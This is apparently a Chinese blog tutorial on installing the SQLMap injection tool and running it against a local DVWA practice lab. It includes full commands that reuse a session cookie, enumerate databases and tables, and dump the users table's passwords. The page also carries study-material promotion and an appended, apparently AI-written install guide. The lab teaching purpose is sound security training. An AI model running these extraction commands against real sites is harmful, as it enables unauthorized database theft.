安全测试必备工具——SQLMap 安装及基本应用

检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响,以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。

1、什么是SQLMap?

SQLmap是一款由python开发的用来检测与利用SQL注入漏洞的免费开源工具。支持多种数据库,如MySQL、Oracle、PostgreSQL、SQL Server、Access、IBMDB2、SQLite等数据库。有一个非常棒的特性,即对检测与利用的自动化处理(如数据库指纹、访问底层文件系统、执行命令)。

2、SQLMap下载

官方网站下载:http://sqlmap.org/

图片

这里选择Github去下载

图片

3、win10下SQLMap安装

1、先安装好python环境,不管是2还是3版本都支持(python安装过程略,自行百度解决)。安装后可cmd命令窗口输入python -V 查看到版本信息即为成功。

在这里插入图片描述

2、将下载好的sqlmap-master.zip压缩包,解压到自己需要的目录

3、进入解压后的目录,在显示目录路径位置输入cmd回车,在弹出的命令行窗口,输入 python sqlmap.py即开启工具使用

图片

4、SQLMap的常用参数

-u∶指定目标URL进行sql注入检测

–batch:自动去做问题应答

–cookie :当前会话的cookie值

–dbs: 查询当前网站所有数据库

-D:指定数据库名

–tables:查询数据库下的所有表名

-T:指定表名

–columns:指定查询所有字段

-C:指定字段的名称

–dump:查询并导出其数据,拖库

–current-db:获取当前数据库

–current-user :获取当前登录数据库用户名称

–users:查询数据库的所有用户

–password:查询数据库用户的密码

–os-shell:直接返回一个shell(如果存在的话)

-flush-session 刷新session文件

如果不想用之前缓存这个目标的session文件,可以使用这个参数。会清空之前的session,重新测试该目标。

5、SQLMap的基本应用

基于DVWA靶场以下模块,进行SQLMap实操演示

图片

1、注入判断 -u

输入:python sqlmap.py -u http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit。去进行操作–会报错,需要登录。

图片

图片

2、添加cookie绕过登录

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low”。

运行过程中需要用户输入y/n才能进入下一步操作,如果希望跳过这些,可以在命令末尾加 --batch

图片

图片

通过以上结果可知,存在SQL注入点。

3、查询当下所有数据库

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” --dbs --batch

图片

4、查询指定库下的表名

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa --tables

图片

5、查指定表的所有字段

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users --columns

图片

6、查询字段内容

python sqlmap.py -u “http://192.168.253.137/vulnerabilities/sqli/?id=1&Submit=Submit” --cookie=“PHPSESSID=980svotqv5fdmcr5fpscqf8f83;security=low” -D dvwa -T users -C user,password --dump

这个过程有点慢,请耐心等待,最终得到表的所有用户及明文密码信息。

图片

 

总结:

感谢每一个认真阅读我文章的人!!!

作为一位过来人也是希望大家少走一些弯路,如果你不想再体验一次学习时找不到资料,没人解答问题,坚持几天便放弃的感受的话,在这里我给大家分享一些自动化测试的学习资源,希望能给你前进的路上带来帮助。

软件测试面试文档

我们学习必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有字节大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。

 

          视频文档获取方式:
这份文档和视频资料,对于想从事【软件测试】的朋友来说应该是最全面最完整的备战仓库,这个仓库也陪伴我走过了最艰难的路程,希望也能帮助到你!以上均可以分享,点下方小卡片即可自行领取。

SQLMap 是一款开源工具,主要用于自动检测 SQL 注入漏洞,并能尝试从数据库中提取数据、修改数据、甚至控制整个数据库服务器。如果你想要安装 SQLMap,这里有一个简单的步骤指南供你参考: ### 安装依赖环境 为了安装 SQLMap,你需要先安装 Python 的几个基本模块,包括 `pip` 和 `wheel`。 1. **安装 pip** (如果尚未安装) - 对于 Windows 用户: ```bash python get-pip.py ``` - 对于基于 Linux 或 macOS 系统的用户,通常已经预装了 pip,可以跳过此步。 2. **更新 pip** - 升级 pip 到最新版本: ```bash pip install --upgrade pip ``` 3. **安装 wheel** - 安装 wheel 包管理工具: ```bash pip install wheel ``` ### 安装 SQLMap 有了上面的基础环境准备好了之后,你可以开始安装 SQLMap 本身了: ```bash pip install sqlmap ``` ### 检查安装是否成功 完成上述安装命令后,可以通过运行 `sqlmap --version` 来检查 SQLMap 是否已正确安装并可用。 ### 使用 SQLMap 进行扫描 一旦 SQLMap 安装完毕并且确认可用,你可以使用它来探测目标网站的 SQL 注入点。下面是一个简单的示例命令: ```bash sqlmap -u "http://target.example.com/path_to_sql_injection.php" --data="field1=value&field2=value" ``` 在这个命令中: - `-u` 参数指定了你要测试的 URL。 - `--data` 参数表示提交给页面的数据,其中应该包含注入点的参数名及其值。 记得将 `"http://target.example.com/path_to_sql_injection.php"` 替换成实际的攻击点 URL,同时确保你有权利对这个URL进行安全评估。 --- ### 相关问题: 1. SQLMap 可以处理哪些类型的数据库系统? 2. 如何利用 SQLMap 执行更高级的查询操作? 3. 如果在使用 SQLMap 时遇到权限问题怎么办?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值